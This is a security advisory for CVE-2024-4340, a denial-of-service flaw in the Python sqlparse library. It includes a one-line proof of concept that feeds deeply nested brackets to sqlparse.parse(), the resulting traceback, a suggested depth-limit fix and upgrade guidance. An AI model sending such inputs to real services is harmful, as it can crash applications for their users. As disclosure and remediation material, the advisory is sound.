CVE-2024-4340: Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Summary Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Details + PoC Running the following code will raise Maximum recursion limit exceeded exception: py import sqlparse sqlparse.parse('[' 10000 + ']' 10000) We expect a traceback of RecursionError: py Traceback (most recent call last): File "triggersqlparsenestedlist.py", line 3, in <module> sqlparse.parse('[' 10000 + ']' 10000) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/init.py", line 30, in parse return tuple(parsestream(sql, encoding)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filterstack.py", line 36, in run stmt = grouping.group(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group func(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in groupbrackets groupmatching(tlist, sql.SquareBrackets) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in groupmatching tlist.grouptokens(cls, openidx, closeidx) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in grouptokens grp = grpcls(subtokens) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in init super().init(None, str(self)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in str return ''.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr> return ''.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() [Previous line repeated 983 more times] RecursionError: maximum recursion depth exceeded
Fix suggestion The flatten() function of TokenList class should limit the recursion to a maximal depth: py from sqlparse.exceptions import SQLParseError
MAXDEPTH = 100
def flatten(self, depth=1): """Generator yielding ungrouped tokens.
This method is recursively called for all child tokens. """ if depth >= MAXDEPTH: raise SQLParseError('Maximal depth reached') for token in self.tokens: if token.isgroup: yield from token.flatten(depth + 1) else: yield token
Impact Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.
Other sources
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
https://github.com/advisories/GHSA-2m57-hf25-phgg https://github.com/andialbrecht/sqlparse/commit/b4a39d9850969b4e1d6940d32094ee0b42a2cf03 https://research.jfrog.com/vulnerabilities/sqlparse-stack-exhaustion-dos-jfsa-2024-001031292/
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/sqlparseto a version that resolves this vulnerability.Fixed in 0.5.0 - Upgrade
Upgrade
ubuntu/sqlparseto a version that resolves this vulnerability.Fixed in 0.4.2-1ubuntu0.22.04.2 - Upgrade
Upgrade
ubuntu/sqlparseto a version that resolves this vulnerability.Fixed in 0.4.2-1ubuntu1.1 - Upgrade
Upgrade
ubuntu/sqlparseto a version that resolves this vulnerability.Fixed in 0.4.4-1ubuntu0.1 - Upgrade
Upgrade
ubuntu/sqlparseto a version that resolves this vulnerability.Fixed in 0.5.0 - Upgrade
Upgrade
debian/sqlparseto a version that resolves this vulnerability.Fixed in 0.5.1-2 - Upgrade
Upgrade
redhat/sqlparseto a version that resolves this vulnerability.Fixed in 0.5.0 - Upgrade
Upgrade
sqlparseto a version that resolves this vulnerability.Patch GHSA-2m57-hf25-phgg - Upgrade
Upgrade
andialbrecht/sqlparseto a version that resolves this vulnerability.Patch b4a39d9850969b4e1d6940d32094ee0b42a2cf03 - Compensating control
If you must accept user-supplied data, prevent abuse by limiting/validating the size/complexity of input passed to sqlparse.parse() to avoid recursion/stack exhaustion (the issue is triggered by heavily nested input).
Event History
Frequently Asked Questions
What is the severity of CVE-2024-4340?
CVE-2024-4340 has been classified as a Denial of Service vulnerability due to potential recursion errors.
How do I fix CVE-2024-4340?
To fix CVE-2024-4340, upgrade the sqlparse package to version 0.5.0 or later.
Which versions of sqlparse are affected by CVE-2024-4340?
The versions of sqlparse affected by CVE-2024-4340 are below 0.5.0.
What causes the vulnerability in CVE-2024-4340?
CVE-2024-4340 is caused by passing a heavily nested list to the sqlparse.parse() function, leading to a RecursionError.
Is there a proof of concept available for CVE-2024-4340?
Yes, a proof of concept for CVE-2024-4340 demonstrates the vulnerability by executing a specific parsing command that triggers the error.